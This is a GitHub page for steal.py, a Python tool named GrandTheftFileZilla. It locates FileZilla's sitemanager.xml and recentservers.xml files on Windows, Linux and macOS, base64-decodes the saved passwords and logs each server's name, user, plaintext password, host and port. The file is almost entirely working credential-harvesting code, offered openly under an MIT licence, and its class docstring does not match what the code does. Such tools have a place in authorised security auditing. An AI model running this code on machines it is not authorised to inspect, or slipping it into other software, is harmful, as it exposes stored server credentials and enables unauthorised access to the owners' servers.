-
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsteal.py
154 lines (120 loc) · 7.74 KB
/
steal.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# -*- coding: utf-8 -*-
# MIT License
#
# Copyright (c) 2017 Tijme Gommers
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import xml.etree.ElementTree
import logging
import base64
import sys
import os
class GrandTheftFileZilla:
"""The crawler thread executes the HTTP request using the HTTP handler.
Attributes:
credentials_xml_locations (obj): All possible `sitemanager.xml` or `recentservers.xml` locations.
credentials_xml_filenames (arr): An array of possible filenames (since saved & cached servers are stored in different files).
__credentials (arr): Contains all the credentials (if found).
"""
credentials_xml_locations = {
"win": [
os.path.join(os.environ["APPDATA"] if "APPDATA" in os.environ else "", "Roaming/FileZilla/[$filename].xml"),
os.path.join(os.environ["APPDATA"] if "APPDATA" in os.environ else "", "FileZilla/[$filename].xml"),
os.path.join(os.environ["CSIDL_APPDATA"] if "CSIDL_APPDATA" in os.environ else "", "FileZilla/[$filename].xml")
],
"linux": [
os.path.expanduser("~") + "/.filezilla/[$filename].xml",
os.path.expanduser("~") + "/.config/filezilla/[$filename].xml"
],
"darwin": [
os.path.expanduser("~") + "/.filezilla/[$filename].xml",
os.path.expanduser("~") + "/.config/filezilla/[$filename].xml"
]
}
credentials_xml_filenames = [
"sitemanager",
"recentservers"
]
def __init__(self):
"""Constructs a GrandTheftFileZilla instance."""
self.__credentials = []
def extract_credentials(self, location):
"""Extract credentials from the given xml location and add them to the credentials array.
Args:
location (str): The location/filepath of the XML file.
"""
root = xml.etree.ElementTree.parse(location).getroot()
if not len(root):
return
for server in root[0].findall("Server"):
namevl = server.find("Name").text if hasattr(server.find("Name"), "text") else ""
uservl = server.find("User").text if hasattr(server.find("User"), "text") else ""
passvl = server.find("Pass").text if hasattr(server.find("Pass"), "text") else ""
hostvl = server.find("Host").text if hasattr(server.find("Host"), "text") else ""
portvl = server.find("Port").text if hasattr(server.find("Port"), "text") else ""
passvl_str = base64.b64decode(passvl).decode("utf-8")
self.__credentials.append((namevl, uservl, passvl_str, hostvl, portvl))
def get_credentials(self):
"""Iterate over the correct possible XML paths and extract and return the credentials."""
locations_found = 0
for location_platform in self.credentials_xml_locations:
if not sys.platform.startswith(location_platform):
continue
for location in self.credentials_xml_locations[location_platform]:
for filename in self.credentials_xml_filenames:
parsed_location = location.replace("[$filename]", filename)
if os.path.exists(parsed_location):
locations_found += 1
self.extract_credentials(parsed_location)
if not locations_found:
logging.warning("It looks like FileZilla isn't installed since no SiteManager XML's could be found.")
return self.__credentials
def print_banner(self):
"""Print a useless ASCII art banner to make things look a bit nicer."""
print("""
██████╗ ██████╗ █████╗ ███╗ ██╗██████╗ ████████╗██╗ ██╗███████╗███████╗████████╗
██╔════╝ ██╔══██╗██╔══██╗████╗ ██║██╔══██╗ ╚══██╔══╝██║ ██║██╔════╝██╔════╝╚══██╔══╝
██║ ███╗██████╔╝███████║██╔██╗ ██║██║ ██║ ██║ ███████║█████╗ █████╗ ██║
██║ ██║██╔══██╗██╔══██║██║╚██╗██║██║ ██║ ██║ ██╔══██║██╔══╝ ██╔══╝ ██║
╚██████╔╝██║ ██║██║ ██║██║ ╚████║██████╔╝ ██║ ██║ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
███████╗██╗██╗ ███████╗███████╗██╗██╗ ██╗ █████╗
██╔════╝██║██║ ██╔════╝╚══███╔╝██║██║ ██║ ██╔══██╗
█████╗ ██║██║ █████╗ ███╔╝ ██║██║ ██║ ███████║
██╔══╝ ██║██║ ██╔══╝ ███╔╝ ██║██║ ██║ ██╔══██║
██║ ██║███████╗███████╗███████╗██║███████╗███████╗██║ ██║
╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
""")
if __name__ == "__main__":
logging.basicConfig(
level=logging.INFO,
format='[%(asctime)s][%(levelname)s] %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
)
grand_theft_filezilla = GrandTheftFileZilla()
grand_theft_filezilla.print_banner()
logging.info("Started searching for credentials stored in FileZilla.")
credentials = grand_theft_filezilla.get_credentials()
if credentials:
logging.info(str(len(credentials)) + " servers with credentials found.")
else:
logging.warning("No servers with credentials found.")
for (namevl, uservl, passvl, hostvl, portvl) in credentials:
logging.info("Details of server:\n Name: " + namevl + " \n User: " + uservl + " \n Pass: " + passvl + " \n Host: " + hostvl + " \n Port: " + portvl)
logging.info("Finished searching.")